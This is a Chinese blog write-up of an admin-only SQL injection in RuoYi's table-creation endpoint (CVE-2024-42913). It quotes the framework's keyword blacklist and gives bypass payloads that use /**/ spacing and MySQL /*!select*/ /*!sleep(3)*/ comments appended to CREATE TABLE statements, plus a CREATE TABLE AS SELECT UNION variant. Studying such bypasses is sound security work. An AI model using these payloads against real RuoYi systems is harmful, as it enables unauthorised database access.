声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!
ruoyi的洞,但这个漏洞比较鸡肋,要求有管理员权限,且每次执行都会在数据库中创建一个数据表,会污染数据库。此次作为学习记录。
以为是个平常的漏洞,没想到网上也能搜到他的cve编号,CVE-2024-42913
https://mp.weixin.qq.com/s/u6RM6ytlc7voZ8lv0C0oaw
代码审计,
SQL执行通过mybatis,全局搜索 ${
经过筛选,只有${sql}可以控制
<update id="createTable">
${sql}
</update>
执行传入的SQL语句
查看
mapper/generator/GenTableMapper.xml:174
对应的java代码
com.ruoyi.generator.mapper.GenTableMapper#createTable
然后全局搜哪里调用了 createTable
com.ruoyi.generator.service.GenTableServiceImpl#createTable
有一个Controller层调用了createTable
满足条件就可以执行SQL语句,而 createTableStatement 我们是可控的
但此处要求有权限,且权限是admin
假设我们拿到了具有admin权限的账号,
传入SQL语句
创建表结构异常
查看报错
存在SQL注入检测 位置 SqlUtil.filterKeyword(sql);
com.ruoyi.common.utils.sql.SqlUtil#filterKeyword
/**
* SQL关键字检查
*/
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
SQL_REGEX的值为
public static String SQL_REGEX = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |+|user()";
split根据 | 分割字符串,然后匹配
因为我后端使用的数据库是MySQL,可根据MySQL的特性绕过,比如在关键词之间用/**/
代替空格
select/**/1
还是失败,检查代码,发现是druid报错
如何令语法解析函数将输入的SQL字符串识别成创建表的语句?
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, DbType.mysql);
正常输入
create table tb_tmp(id INT(11),name VARCHAR(25),deptId INT(11),salary FLOAT)
根据MySQL特性绕过限制,执行自定义SQL语句/*!关键词*/
MySQL会识别关键词,然后执行命令
/*!select sleep(3)*/
/*!select*/ /*!sleep(3)*/
根据这个特性,我们在创建表的命令后面加入/*!select*/ /*!sleep(3)*/
失败,检查执行的语句,发现不知道哪里的原因,第一个/*!select*/
被吞了,没有加入MySQL命令中,自然执行失败,重新尝试
sql=create table tb_tmp011222(id INT(11),name VARCHAR(25),deptId INT(11),salary FLOAT) /*!select*/ /*!select*/ /*!sleep(3)*/
虽然也是返回异常,但是看返回时间为3s,可知语句执行成功。
还有其他人的执行SQL语句的思路,是根据创建表的规则做的
CREATE TABLE q1234asdf AS SELECT/**/ lock_name FROM/**/ qrtz_locks WHERE/**/ 1 = 1 UNION/**/ SELECT/**/ VERSION();
总结
本篇关于如何根据MySQL的特性绕过关键词限制,以及绕过解析语法,在创建表的接口中执行SQL命令。
因为这个接口在执行语句前会先判断创建的表是否存在,所以每次执行SQL注入命令就要在库中创建一个新表。
ruoyi有一个定时任务的老洞,因为黑白名单的限制,现在不好绕过。如果能执行SQL语句直接操作数据库可以绕过限制RCE。但我尝试了许多次,在这个注入点,总是失败。/*!select*/
在create table xxx 后面执行没问题,但是/*!update*/
就会报错。很头疼。
原文始发于微信公众号(进击的HACK):记一次绕过限制SQL注入bypass
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论